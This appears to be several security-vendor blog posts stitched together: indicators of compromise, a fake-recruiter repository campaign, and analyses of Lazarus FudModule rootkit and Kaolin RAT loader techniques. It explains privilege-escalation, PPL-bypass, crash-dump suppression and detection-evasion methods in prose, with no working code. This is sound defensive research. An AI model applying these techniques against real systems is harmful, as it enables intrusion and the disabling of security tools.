29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 - 7zp.dll (trojanized DLL loader, internal name: boy.dll)
</li>
<li>
749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e - p (encrypted PE loader shellcode)
</li>
<li>
D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a - GRAYRABBIT backdoor (internal name: core.dll)
</li>
</ul>
Network indicators
<ul>
<li>
mail.uaiubifas[.]top - GRAYRABBIT C2 domain (port 443, raw TCP, RC4-encrypted)
</li>
<li>
noht1ng[.]top - Exploit page hosting domain
</li>
<li>
8.218.50[.]207 - Staging server (Alibaba Cloud, Hong Kong)
</li>
</ul>

One click. Three critical failures. One backdoor.

Gray Rabbits and the Tale of a One-Click Backdoor

Imagine receiving a message on LinkedIn from a recruiter offering an enticing opportunity: a well-paid front-end development project that seems almost too good to be true. It’s a scenario many aspiring programmers dream of, especially those eager to land their first job in the tech industry. However, as this story reveals, the dream can quickly turn into a cybersecurity nightmare.&nbsp;<h2>The Setup&nbsp;</h2>The attack begins innocuously enough. A recruiter reaches out on LinkedIn, pitching an appealing development project with an impressive salary. The target? Entry-level front-end developers, often beginners in the field and eager to seize opportunities. Once the victim expresses interest, the recruiter provides a link to a code repository, ostensibly containing the project files.&nbsp;In one known case, the recruiter’s high salary offer raised suspicions. This wariness led the targeted individual to scrutinize the repository, revealing malware embedded within the code. The victim wisely decided against proceeding, avoiding infection entirely. Shortly thereafter, the recruiter’s LinkedIn profile disappeared, leaving questions about their next steps unanswered.&nbsp;<h2>A Firsthand Example&nbsp;</h2>This story came to light when we became aware of a similar job offer on LinkedIn. The recruiter claimed to be developing a decentralized application (DApp) for purchasing and claiming ownership of video games using NFTs. The project aimed to provide a seamless cross-platform experience and was allegedly seeking skilled web developers to help with their UI/UX redesign.&nbsp;

After a few messages, the recruiter shared a Bitbucket repository link. At first glance, the project appeared legitimate, with standard documentation and architecture diagrams detailing the NFT-based system. However, deeper investigation revealed a suspicious obfuscated JavaScript file, onfig-overrides.js, containing malicious code. This file, overlooked by an untrained eye, was designed to:&nbsp;<ul><li>Steal login credentials</li><li>Exfiltrate crypto wallet data</li><li>Deploy and execute a Python loader&nbsp;</li></ul>The recruiter’s polished approach and seemingly genuine project made the scam particularly deceptive.&nbsp;

<h2>The Mechanism&nbsp;</h2>The attack exploits standard industry practices. In many coding interviews or preparation tasks, candidates are asked to clone a repository, run a local server, and work on the application offline. This is commonplace for front-end developers testing web applications. However, in this case, the repository included concealed malware designed to compromise the developer’s system.&nbsp;<h2>The Step-by-Step Anatomy of the Attack&nbsp;</h2>Once executed, the obfuscated JavaScript file initiated a multi-stage attack process, consisting of two main phases: the initial JavaScript execution and the subsequent Python-based payloads.&nbsp;Phase 1: JavaScript Execution&nbsp;<ol><li>Information Stealing: The initial script acted as an infostealer, targeting:</li></ol><ul><li>Solana wallet configurations and stored crypto wallet data.</li><li>Login credentials stored in web browsers such as Firefox and Chrome.</li><li>Other sensitive information that could be used for further attacks.</li></ul><ol start="2"><li>Python Loader Deployment: The JavaScript file downloaded and executed a Python-based loader, which was responsible for delivering the next set of malicious payloads.&nbsp;</li></ol>Phase 2: Python-Based Payloads&nbsp;<ol start="3"><li>Remote Access Trojan (RAT): The Python loader executed a RAT with keylogging and advanced spying capabilities, including:</li></ol><ul><li>Remote shell commands: Enabling attackers to execute commands on the victim’s machine.</li><li>Clipboard exfiltration: Capturing and transmitting clipboard data to the attacker.</li><li>Payload downloads: Downloading and executing additional malicious files.</li><li>Browser process termination: Killing Chrome and Brave browser processes to disrupt user activity.</li><li>Sensitive file exfiltration: Searching for and exfiltrating critical files such as .env, readme, and .git.</li></ul><ol start="4"><li>XMRig Cryptominer: As part of the second Python stage, the XMRig cryptominer was deployed, exploiting the victim’s computing resources to mine cryptocurrency, which resulted in degraded system performance and increased power consumption.&nbsp;</li></ol>This structured attack exemplifies the multi-layered and highly intrusive nature of this attack, ilustrating how it moves beyond simple credential theft to fully compromising the victim’s machine.&nbsp;<h2>The Lazarus Group Connection?&nbsp;</h2>Interestingly, the tools used in this attack, named "BeaverTail" and "InvisibleFerret," have been attributed to the notorious Lazarus group in the past. We have strong indications that the attack was orchestrated by the Lazarus group, given their history of sophisticated cyber campaigns and their association with the tools used. The attackers leveraged tools previously linked to high-profile cybercrime, making it critical to approach such situations with caution. While the involvement of Lazarus cannot be confirmed with absolute certainty, the evidence strongly suggests their involvement.&nbsp;<h2>The Broader Implications&nbsp;</h2>While this specific attack focused on credential theft and cryptojacking, the Remote Access Trojan (RAT) also allows attackers to maintain long-term control over infected systems. This could be used for espionage, further malware deployment, or data exfiltration. Additionally, the potential harm could extend far beyond. The perpetrators could use such schemes to:&nbsp;<ul><li>Compromise company systems through stolen credentials, allowing further infiltration and unauthorized access.</li><li>Utilize the compromised system for ransomware deployment or additional malware infections.</li><li>Leverage the infected machine as a launching point for future cyberattacks, amplifying the scope of the breach.&nbsp;</li></ul>The idea of attackers genuinely hiring developers to create malicious tools is not far-fetched, though it seems unlikely in this instance.&nbsp;<h2>Lessons for Job Seekers&nbsp;</h2>This incident serves as a crucial reminder for job seekers, particularly those new to the field, to exercise vigilance when assessing job offers. Here are some tips to protect yourself:&nbsp;<ol><li>Have an online interview before proceeding: Before starting any test or downloading files, request a video call with the recruiter to verify their legitimacy and discuss the job offer in detail.</li><li>Verify the recruiter’s credentials: Cross-check their profile and company information. If something seems off, trust your instincts.</li><li>Scrutinize repositories: Before cloning or running any code, scan the files for anomalies. Use reputable security tools to analyze suspicious files.</li><li>Question too-good-to-be-true offers: Unrealistically high salaries or overly eager recruiters can be red flags.</li><li>Use sandbox environments: Run unfamiliar code in isolated environments to prevent potential infections.</li><li>Stay informed: Keep up with the latest cybersecurity threats to recognize warning signs early.&nbsp;</li></ol><h2>Conclusion&nbsp;</h2>Threat actors are increasingly targeting individuals with highly personalized and sophisticated methods, exploiting both technical vulnerabilities and human psychology. This case serves as a sobering reminder of the lengths cybercriminals will go to exploit human trust and technological processes. For aspiring developers and job seekers, awareness and skepticism are critical defenses. As we face increasingly sophisticated threats, a collective effort to educate and inform will play a crucial role in minimizing risks. By staying vigilant, leveraging security tools, and promoting best practices, we can create a safer digital landscape for everyone—one where opportunities are genuine, and trust is protected.&nbsp;

Beware of Fake Job Offers: How Hackers Are Targeting Developers with Malware

How Cybercriminals Are Turning Job Offers Into Malware Traps 

In early June, we discovered a sample that was exploiting a new zero-day vulnerability within Winsock driver (CVE-2024-38193) to achieve local privilege escalation to deploy a new version of FudModule rootkit. We determined that the sample was part of a Lazarus Group operation that was targeting potentially sensitive industries such as aerospace and cryptocurrency engineering to gain access to their corporate networks.CVE-2024-38193 is a use-after-free vulnerability in the <code>AFD.sys</code> driver which is responsible for kernel-mode support for the Windows socket (Winsock) interface used in network communication. This flaw allowed attackers to tamper with certain values in kernel structures, leading to read/write access which was leveraged by FudModule to execute a Direct Kernel Object Manipulation technique. This vulnerability is present on Windows 11 Version 23H2 (and earlier) and Windows 10.The FudModule itself has also undergone a significant evolution. In addition to its usual arsenal, it started to disable crash dumps to further complicate any investigation. It is also more closely tied to the payload it aims to protect, which it injects into a process secured by Protected Process Light. These extensive changes led us to a decision to denote this version as FudModule v3.0.<h2>Initial access</h2>Previous versions of FudModule (v2.0) were <a href="https://decoded.avast.io/luiginocamastra/from-byovd-to-a-0-day-unveiling-advanced-exploits-in-cyber-recruiting-scams/">delivered by Kaolin RAT</a>, utilizing another zero-day exploit (CVE-2024-21338) to gain read/write access to the kernel memory. Unfortunately, we’ve been unable to determine how CVE-2024-38193 was delivered, along with FudModule v3.0, to the victim’s device.On August 19, 2024, Microsoft identified a North Korean threat actor exploiting a Chromium remote-code-execution (RCE) zero-day vulnerability (CVE-2024-7971) which was based on a type of confusion issue in the V8 JavaScript engine and WebAssembly engine. <a href="https://www.microsoft.com/en-us/security/blog/2024/08/30/north-korean-threat-actor-citrine-sleet-exploiting-chromium-zero-day/">Microsoft noted</a> that Citrine Sleet used Chromium exploit to deploy a FudModule rootkit, nevertheless, they did not specify more technical details on the rootkit. The RCE vulnerability was used to deploy a shellcode containing another exploit (CVE-2024-38106) that was used to escape Chromium’s sandbox and deploy the downloaded FudModule rootkit into the memory.&nbsp;Due to the timing of this attack and a close presumed relation between Citrine Sleet and Lazarus group, we presume that the FudModule v3.0 and Winsocks exploit (CVE-2024-38193) may have been delivered in a very similar manner.<h2 class="text-align-justify">FudModule Rootkit delivery</h2>In the first version of the FudModule, referred to as FudModule v1.0, the attacker required the ability to modify kernel memory structures, potentially resulting in the deactivation of Windows monitoring features. To achieve this, they employed the Bring Your Own Vulnerable Driver (BYOVD) technique, a well-known method where attackers load a legitimate, signed, and vulnerable kernel driver to bypass the Driver Signature Enforcement (DSE) policy. The attacker then used this known vulnerability to obtain read/write access to the kernel space.They accomplished this by loading vulnerable drivers such as <code>dbutil_2_3.sys</code> (Dell driver) and <code>ene.sys</code> (RGB lightning control driver), exploiting them using N-day vulnerabilities. This is a straightforward method, as there are numerous publicly available proof-of-concept exploits for various vulnerabilities. However, the downside is that the attacker must drop the vulnerable driver onto the filesystem and load it with administrator privileges.The second version of the FudModule, referred to as FudModule v2.0, was discovered by Gen. In this case, the attackers exploited a zero-day vulnerability (CVE-2024-21338) in the Windows’ <code>appid.sys</code> (Application Identity driver). The key advantage of this choice is that this driver is already present on Windows 10 and Windows 11 by default, eliminating the need to drop “your” own vulnerable driver.However, a challenge with this approach is that the attacker needed administrator privileges to send the vulnerable IOCTL code (<code>0x22A018</code>) to the <code>appid.sys</code> driver. For more technical details about this exploit, see our <a href="https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/">previous blogpost</a> on this vulnerability.In this new instance, the attackers discovered a way to exploit a vulnerability in the default driver without requiring administrator privileges to interact with it. &nbsp;They identified a zero-day vulnerability in the <code>AFD.sys</code> (Winsocks driver) to achieve read/write (R/W) access in kernel space. After triggering the vulnerability in <code>AFD.sys</code>, the attackers first had to gain increment primitive, crafting a specific kernel address to achieve temporary R/W primitive. With these temporary primitives, they were able to corrupt the <code>PreviousMode</code> field of the current thread in the <code>KTHREAD</code> structure. By modifying the <code>PreviousMode</code>, they could bypass kernel mode checks within system calls such as <code>NtReadVirtualMemory</code> or <code>NtWriteVirtualMemory</code>, and stealthily deploy FudModule v3.0.<h2>FudModule rootkit</h2>The FudModule v1.0 was discovered by the <a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf">ESET</a> and AnhLab in September 2022. They described 7 techniques used to disarm security solutions and monitoring tools.In June of last year, our discovery of the FudModule 2.0 lead to a sample featuring nine techniques, out of which four were new and three were improved, with another two remaining unchanged.In FudModule 3.0, eight techniques from the previous version remain unchanged, and one technique was removed in favour of two new techniques. The unchanged functions, are:<ul><li>Disable a security solution ability to monitor registry operations</li><li>Disable object callbacks routine which is which is used to execute a custom code response to thread, process, and desktop handle operations.</li><li>Disable process, thread and image kernel callbacks</li><li>Disabling all monitoring and antivirus file system minifilters</li><li>Disable network traffic filtering (happens only if Kaspersky drivers are present and at the same time Symantec/Broadcom drivers are absent).</li><li>Two approaches to Disabling all system loggers in a more generic way in Event Tracing for Windows (ETW)</li><li>Disable monitoring of <code>MsMpEng.exe</code> process (Microsoft Defender) via handle table manipulation. For <code>asdsvc.exe</code> (AhnLab Smart Defense Service), the rootkit clears the <code>_EPROCESS.Protection</code> byte, reducing it to a standard, non-protected process after the modification.</li></ul>The function responsible for disabling image verification callbacks is no longer present in FudModule v3.0.&nbsp;Now, we’ll dive into the two new techniques included in FudModule v3.0.

<h3>Disabling crash dump</h3>In FudModule v3.0 rootkit, disabling a crash dump is the first technique to be executed after a successful exploitation. Since FudModule v3.0 directly manipulates kernel structures, which could potentially cause a system crash, it employs a method to prevent the creation of crash dump files. Crash dump files capture the system's memory at the time of an error, including loaded drivers, running processes, and active kernel data. If a crash dump file caused by the rootkit were saved, it could provide leads to the exploit during the crash investigation, which could expose the zero-day before gaining foothold on the device.To disable crash dump, the rootkit first locates the virtual address of the data sections of the <code>crashdmp.sys</code> driver and <code>ntoskrnl.exe</code> (kernel image) in memory. It then scans for pointer in the data section of <code>ntoskrnl.exe</code>; more specifically it is looking for a pointer pointing to the data section of <code>crashdmp.sys</code> which is a global pointer named CrashdmpDumpBlock. It then zeroes out this pointer which effectively prevents the system from generating a crash dump.

<h3>Shellcode Injections</h3>The second technique, shellcode injection, is rather peculiar in the sense that it makes a shift from FudModule v2.0 as a final payload to FudModule v3.0 used as a stager for another payload. The process involves two consecutive shellcode injections into different processes: one into <code>services.exe</code> and the other into <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec"><code>msiexec.exe</code></a>.Initially, memory pages are allocated within these processes, their permissions modified to allow execution, and <code>_EPROCESS.MitigationFlags</code> is cleared to avoid instability if the handle table manipulation goes awry.

In the case of <code>services.exe</code> injection, FudModule uses a non-protected process. This should protect it from acquiring a handle to processes protected by PPL (Protected Process Light) such as <code>services.exe</code>, <code>wininit.exe,</code> or <code>csrss.exe</code>. Nevertheless, FudModule exploits the kernel Read/Write primitive to gain direct access to the handle table. This way, it can craft a custom handle table entry, gaining control over both referenced object and its access bits, effectively bypassing PPL. Then <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec"><code>msiexec.exe</code></a> process is spawned from within this context.

Previously in v2.0, FudModule used a dummy thread to insert an entry into the handle table and subsequently modified the referenced object to target specific processes (in order to disable security solutions). In v3.0, a more sophisticated approach is used: FudModule uses <code>NtDuplicateObject</code> function to duplicate the current process handle, creating another entry in the handle table. This new entry points to the <code>_OBJECT_HEADER</code> of the target <code>_EPROCESS</code> – in our case <code>services.exe</code>.The second injection, targeting the <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec"><code>msiexec.exe</code></a> spawned by the first injection, simply aims to decrypt and prepare a payload before executing it. This payload is passed as an argument by the initial 0-day containing shellcode.This development marks an interesting shift in the FudModule's functionality. Instead of being the final payload by itself, it serves as a loader that abuses its access into PPL-protected processes to improve stealthiness of the final payload and hinder detection and tracing.<h2>Conclusion</h2>The Lazarus cybercriminal group, one of the long-standing APT (Advanced Persistent Threat) groups, has once again surprised the cybersecurity community. Lazarus continues to aggressively utilize new zero-day vulnerabilities, targeting not just operating systems but also browsers to effectively deliver their payloads. This time, they even went one step further by going from BYOVD to directly exploiting system drivers.Since the discovery of the FudModule, it has been clear that this rootkit is under active development. Its aim appears to be achieving long-term persistence and improved stealth capabilities to bypass built-in security features and evade detection from security vendors. Its latest evolution seems to shift its purpose from a standalone rootkit for disarming security solutions to a more generic rootkit that also actively protects the associated payload. Despite our extensive research, we have not yet uncovered the exact method used to deliver the Local Privilege Escalation (LPE) exploit alongside the FudModule v3.0 rootkit. However, based on the research from Microsoft, we now believe that the LPE exploit could have been delivered through a Remote Code Execution (RCE) vulnerability in Google Chrome.<h2>Indicators of Compromise (IoCs)</h2>A YARA rule for the FudModule v3.0 is available at <a href="https://github.com/avast/ioc/tree/master/FudModule#yara">github.com/avast/ioc</a>

Evolution of Lazarus ‘FudModule - no longer (stand)alone’

<h2>Key Points</h2><ul><li>Avast discovered a new campaign targeting specific individuals through fabricated job offers.&nbsp;</li><li>Avast uncovered a full attack chain from infection vector to deploying <code>“FudModule 2.0”</code> rootkit with 0-day <code>Admin -&gt; Kernel</code> exploit.&nbsp;</li><li>Avast found a previously undocumented <code>Kaolin</code> RAT, where it could aside from standard RAT functionality, change the last write timestamp of a selected file and load any received DLL binary from C&amp;C server. We also believe it was loading FudModule along with a 0-day exploit.&nbsp;</li></ul><h2>Introduction</h2>In the summer of 2023, Avast identified a campaign targeting specific individuals in the Asian region through fabricated job offers. The motivation behind the attack remains uncertain, but judging from the low frequency of attacks, it appears that the attacker had a special interest in individuals with technical backgrounds. This sophistication is evident from previous research where the Lazarus group exploited vulnerable drivers and performed several rootkit techniques to effectively blind security products and achieve better persistence.&nbsp;In this instance, Lazarus sought to blind security products by exploiting a vulnerability in the default Windows driver, appid.sys (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338">CVE-2024-21338</a>). More information about this vulnerability can be found in a corresponding <a href="https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/">blog post</a>.&nbsp;This indicates that Lazarus likely allocated additional resources to develop such attacks. Prior to exploitation, Lazarus deployed the toolset meticulously, employing fileless malware and encrypting the arsenal onto the hard drive, as detailed later in this blog post.&nbsp;Furthermore, the nature of the attack suggests that the victim was carefully selected and highly targeted, as there likely needed to be some level of rapport established with the victim before executing the initial binary. Deploying such a sophisticated toolset alongside the exploit indicates considerable resourcefulness.&nbsp;This blog post will present a technical analysis of each module within the entire attack chain. This analysis aims to establish connections between the toolset arsenal used by the Lazarus group and previously published research.&nbsp;<h2>Initial access&nbsp;</h2>The attacker initiates the attack by presenting a fabricated job offer to an unsuspecting individual, utilizing social engineering techniques to establish contact and build rapport. While the specific communication platform remains unknown, previous research by &nbsp;<a href="https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing">Mandiant</a> and <a href="https://www.welivesecurity.com/en/eset-research/lazarus-luring-employees-trojanized-coding-challenges-case-spanish-aerospace-company/">ESET</a> suggests potential delivery vectors may include LinkedIn, WhatsApp, email or other platforms. Subsequently, the attacker attempts to send a malicious ISO file, disguised as VNC tool, which is a part of the <a href="https://securelist.com/apt-trends-report-q3-2023/110752/">interviewing process</a>. The choice of an ISO file is starting to be very attractive for attackers because, from Windows 10, an ISO file could be automatically mounted just by double clicking and the operating system will make the ISO content easily accessible. This may also serve as a potential Mark-of-the-Web (MotW) bypass.&nbsp;Since the attacker created rapport with the victim, the victim is tricked by the attacker to mount the ISO file, which contains three files: <code>AmazonVNC.exe</code>, <code>version.dl</code>l and <code>aws.cfg</code>. This leads the victim to execute <code>AmazonVNC.exe</code>.&nbsp;&nbsp;The <code>AmazonVNC.exe</code> executable only pretends to be the Amazon VNC client, instead, it is a legitimate Windows application called <code>choice.exe</code> that ordinarily resides in the <code>System32</code> folder. This executable is used for sideloading, to load the malicious <code>version.dll</code> through the legitimate <code>choice.exe</code> application. Sideloading is a popular technique among attackers for evading detection since the malicious DLL is executed in the context of a legitimate application.&nbsp;&nbsp;When <code>AmazonVNC.exe</code> gets executed, it loads <code>version.dll</code>. This malicious DLL is using native Windows API functions in an attempt to avoid defensive techniques such as user-mode API hooks. All native API functions are invoked by direct syscalls. The malicious functionality is implemented in one of the exported functions and not in DLL Main. There is no code in <code>DLLMain</code> it just returns 1, and in the other exported functions is just Sleep functionality.&nbsp;After the DLL obtains the correct syscall numbers for the current Windows version, it is ready to spawn an <code>iexpress.exe</code> process to host a further malicious payload that resides in the third file, <code>aws.cfg</code>. Injection is performed only if the Kaspersky antivirus is installed on the victim’s computer, which seems to be done to evade Kaspersky detection. If Kaspersky is not installed, the malware executes the payload by creating a thread in the current process, with no injection. The <code>aws.cfg</code> file, which is the next stage payload, is obfuscated by VMProtect, perhaps in an effort to make reverse engineering more difficult. The payload is capable of downloading shellcode from a Command and Control (C&amp;C) server, which we believe is a legitimate hacked website selling marble material for construction. The official website is <code>https://www[.]henraux.com/</code>, and the attacker was able to download shellcode from <code>https://www[.]henraux.com/sitemaps/about/about.asp&nbsp;</code>In detailing our findings, we faced challenges extracting a shellcode from the C&amp;C server as the malicious URL was unresponsive.&nbsp;&nbsp;By analyzing our telemetry, we uncovered potential threats in one of our clients, indicating a significant correlation between the loading of shellcode from the C&amp;C server via an ISO file and the subsequent appearance of the <code>RollFling</code>, which is a new undocumented loader that we discovered and will delve into later in this blog post.&nbsp;Moreover, the delivery method of the ISO file exhibits tactical similarities to those employed by the Lazarus group, a fact previously noted by researchers from <a href="https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing">Mandiant</a> and <a href="https://www.welivesecurity.com/en/eset-research/lazarus-luring-employees-trojanized-coding-challenges-case-spanish-aerospace-company/">ESET</a>.&nbsp;In addition, a <code>RollSling </code>sample was identified on the victim machines, displaying code similarities with the <code>RollSling </code>sample discussed in <a href="https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/">Microsoft’s research</a>. Notably, the <code>RollSling </code>instance discovered in our client’s environment was delivered by the <code>RollFling </code>loader, confirming our belief in the connection between the absent shellcode and the initial loader <code>RollFling</code>. For visual confirmation, refer to the first screenshot showcasing the SHA of <code>RollSling</code> report code from <a href="https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/">Microsoft</a>, while on the second screenshot is the code derived from our <code>RollSling </code>sample.&nbsp;

In the next paragraphs, we are going to explain every component in the execution chain, starting with the initial <code>RollFling</code> loader, continuing with the subsequently loaded <code>RollSling</code> loader, and then the final <code>RollMid</code> loader. Finally, we will analyze the <code>Kaolin</code> RAT, which is ultimately loaded by the chain of these three loaders.&nbsp;<h2>Loaders</h2><h3>RollFling</h3>The <code>RollFling</code> loader is a malicious DLL that is established as a service, indicating the attacker’s initial attempt at achieving persistence by registering as a service. Accompanying this <code>RollFling</code> loader are essential files crucial for the consistent execution of the attack chain. Its primary role is to kickstart the execution chain, where all subsequent stages operate exclusively in memory. Unfortunately, we were unable to ascertain whether the DLL file was installed as a service with administrator rights or just with standard user rights.&nbsp;The loader acquires the System Management BIOS (SMBIOS) table by utilizing the Windows API function <code>GetSystemFirmwareTable</code>. Beginning with Windows 10, version 1803, any user mode application can access SMBIOS information. SMBIOS serves as the primary standard for delivering management information through system firmware.&nbsp;By calling the <code>GetSystemFirmwareTable</code> (see Figure 1.) function, <code>SMBIOSTableData</code> is retrieved, and that <code>SMBIOSTableData</code> is used as a key for decrypting the encrypted <code>RollSling</code> loader by using the XOR operation. Without the correct <code>SMBIOSTableData</code>, which is a 32-byte-long key, the <code>RollSling</code> decryption process would be ineffective so the execution of the malware would not proceed to the next stage. This suggests a highly targeted attack aimed at a specific individual.&nbsp;This suggests that prior to the attacker establishing persistence by registering the <code>RollFling</code> loader as a service, they had to gather information about the <code>SMBIOS</code> table and transmit it to the C&amp;C server. Subsequently, the C&amp;C server could then reply with another stage. This additional stage, called&nbsp; <code>RollSling</code>, is stored in the same folder as <code>RollFling</code> but with the <code>".nls"</code> extension.&nbsp;&nbsp;After successful <code>XOR</code> decryption of <code>RollSling</code>,&nbsp; <code>RollFling</code> is now ready to load decrypted <code>RollSling</code> into memory and continue with the execution of <code>RollSling</code>.&nbsp;

<h3>RollSling</h3>The <code>RollSling</code> loader, initiated by <code>RollFling</code>, is executed in memory. This choice may help the attacker evade detection by security software. The primary function of <code>RollSling</code> is to locate a binary blob situated in the same folder as <code>RollSling</code> (or in the Package Cache folder). If the binary blob is not situated in the same folder as the <code>RollSling</code>, then the loader will look in the Package Cache folder. This binary blob holds various stages and configuration data essential for the malicious functionality. This binary blob must have been uploaded to the victim machine by some previous stage in the infection chain.&nbsp;&nbsp;The reasoning behind binary blob holding multiple files and configuration values is twofold. Firstly, it is more efficient to hold all the information in a single file and, secondly, most of the binary blob can be encrypted, which may add another layer of evasion meaning lowering the chance of detection.&nbsp;&nbsp;<code>Rollsling</code> is scanning the current folder, where it is looking for a specific binary blob. To determine which binary blob in the current folder is the right one, it first reads 4 bytes to determine the size of the data to read. Once the data is read, the bytes from the binary blob are reversed and saved in a temporary variable, afterwards, it goes through several conditions checks like the MZ header check. If the MZ header check is done, subsequently it looks for the <code>“StartAction”</code> export function from the extracted binary. If all conditions are met, then it will load the next stage <code>RollMid</code> in memory. The attackers in this case didn’t use any specific file name for a binary blob or any specific extension, to be able to easily find the binary blob in the folder. Instead, they have determined the right binary blob through several conditions, that binary blob had to meet. This is also one of the defensive evasion techniques for attackers to make it harder for defenders to find the binary blob in the infected machine.&nbsp;This stage represents the next stage in the execution chain, which is the third loader called <code>RollMid</code> which is also executed in the computer’s memory.&nbsp;Before the execution of the <code>RollMid</code> loader, the malware creates two folders, named in the following way:&nbsp;<ul><li>%driveLetter%:\\ProgramData\\Package Cache\\[0-9A-Z]{8}-DF09-AA86-YI78-[0-9A-Z]{12}\\&nbsp;</li><li>%driveLetter%:\\ProgramData\\Package Cache\\ [0-9A-Z]{8}-09C7-886E-II7F-[0-9A-Z]{12}\\&nbsp;</li></ul>These folders serve as destinations for moving the binary blob, now renamed with a newly generated name and a <code>".cab"</code> extension. <code>RollSling</code> loader will store the binary blob in the first created folder, and it will store a new temporary file, whose usage will be mentioned later, in the second created folder.&nbsp;&nbsp;The attacker utilizes the <code>"Package Cache"</code> folder, a common repository for software installation files, to better hide its malicious files in a folder full of legitimate files. In this approach, the attacker also leverages the <code>".cab"</code> extension, which is the usual extension for the files located in the <code>Package Cache</code> folder. By employing this method, the attacker is trying to effectively avoid detection by relocating essential files to a trusted folder.&nbsp;In the end, the <code>RollSling</code> loader calls an exported function called <code>"StartAction"</code>. This function is called with specific arguments, including information about the actual path of the <code>RollFling</code> loader, the path where the binary blob resides, and the path of a temporary file to be created by the <code>RollMid</code> loader.&nbsp;

<h3>RollMid</h3>The responsibility of the <code>RollMid</code> loader lies in loading key components of the attack and configuration data from the binary blob, while also establishing communication with a C&amp;C server.&nbsp;The binary blob, containing essential components and configuration data, serves as a critical element in the proper execution of the attack chain. Unfortunately, our attempts to obtain this binary blob were unsuccessful, leading to gaps in our full understanding of the attack. However, we were able to retrieve the <code>RollMid</code> loader and certain binaries stored in memory.&nbsp;Within the binary blob, the <code>RollMid</code> loader is a fundamental component located at the beginning (see Figure 3). The first 4 bytes in the binary blob describe the size of the <code>RollMid</code> loader. There are two more binaries stored in the binary blob after the <code>RollMid</code> loader as well as configuration data, which is located at the very end of the binary blob. These two other binaries and configuration data are additionally subject to compression and AES encryption, adding layers of security to the stored information.&nbsp;&nbsp;As depicted, the first four bytes enclosed in the initial yellow box describe the size of the <code>RollMid </code>loader. This specific information is also important for parsing, enabling the transition to the subsequent section within the binary blob.&nbsp;Located after the <code>RollMid</code> loader, there are two 4-byte values, distinguished by yellow and green colors. The former corresponds to the size of <code>FIRST_ENCRYPTED_DLL</code> section, while the latter (green box) signifies the size of <code>SECOND_ENCRYPTED_DLL</code> section. Notably, the second 4-byte value in the green box serves a dual purpose, not only describing a size but also at the same time constituting a part of the 16-byte AES key for decrypting the <code>FIRST_ENCRYPTED_DLL</code> section. Thanks to the provided information on the sizes of each encrypted DLL embedded in the binary blob, we are now equipped to access the configuration data section placed at the end of the binary blob.&nbsp;

The <code>RollMid</code> loader requires the <code>FIRST_DLL_BINARY </code>for proper communication with the C&amp;C server. However, before loading <code>FIRST_DLL_BINARY</code>, the <code>RollMid</code> loader must first decrypt the <code>FIRST_ENCRYPTED_DLL</code> section.&nbsp;The decryption process applies the AES algorithm, beginning with the parsing of the decryption key alongside an initialization vector to use for AES decryption. Subsequently, a decompression algorithm is applied to further extract the decrypted content. Following this, the decrypted <code>FIRST_DLL_BINARY</code> is loaded into memory, and the <code>DllMain</code> function is invoked to initialize the networking library.&nbsp;Unfortunately, as we were unable to obtain the binary blob, we didn’t get a chance to reverse engineer the <code>FIRST_DLL_BINARY</code>. This presents a limitation in our understanding, as the precise implementation details for the imported functions in the <code>RollMid</code> loader remain unknown. These imported functions include the following:&nbsp;<ul><li><code>SendDataFromUrl&nbsp;</code></li><li><code>GetImageFromUrl</code>&nbsp;</li><li><code>GetHtmlFromUrl&nbsp;</code></li><li><code>curl_global_cleanup&nbsp;</code></li><li><code>curl_global_init&nbsp;</code></li></ul>After reviewing the exported functions by their names, it becomes apparent that these functions are likely tasked with facilitating communication with the C&amp;C server. <code>FIRST_DLL_BINARY</code> also exports other functions beyond these five, some of which will be mentioned later in this blog.&nbsp;&nbsp;The names of these five imported functions imply that <code>FIRST_DLL_BINARY</code> is built upon the <a href="https://curl.se/libcurl/">curl library</a> (as can be seen by the names <code>curl_global_cleanup</code> and <code>curl_global_init</code>). In order to establish communication with the C&amp;C servers, the <code>RollMid</code> loader employs the imported functions, utilizing HTTP requests as its preferred method of communication.&nbsp;The rationale behind opting for the curl library for sending HTTP requests may stem from various factors. One notable reason could be the efficiency gained by the attacker, who can save time and resources by leveraging the HTTP communication protocol. Additionally, the ease of use and seamless integration of the curl library into the code further support its selection.&nbsp;Prior to initiating communication with the C&amp;C server, the malware is required to generate a dictionary filled with random words, as illustrated in Figure 4 below. Given the extensive size of the dictionary (which contains approximately hundreds of elements), we have included only a partial screenshot for reference purposes. The subsequent sections of this blog will delve into a comprehensive exploration of the role and application of this dictionary in the overall functionality of malware.&nbsp;

To establish communication with the C&amp;C server, as illustrated in Figure 5, the malware must obtain the initial C&amp;C addresses from the <code>CONFIGURATION_DATA</code> section. Upon decrypting these addresses, the malware initiates communication with the first layer of the C&amp;C server through the <code>GetHtmlFromUrl</code> function, presumably using an HTTP GET request. The server responds with an HTML file containing the address of the second C&amp;C server layer. Subsequently, the malware engages in communication with the second layer, employing the imported <code>GetImageFromUrl</code> function. The function name implies this performs a GET request to retrieve an image.&nbsp;In this scenario, the attackers employ steganography to conceal crucial data for use in the next execution phase. Regrettably, we were unable to ascertain the nature of the important data concealed within the image received from the second layer of the C&amp;C server.&nbsp;

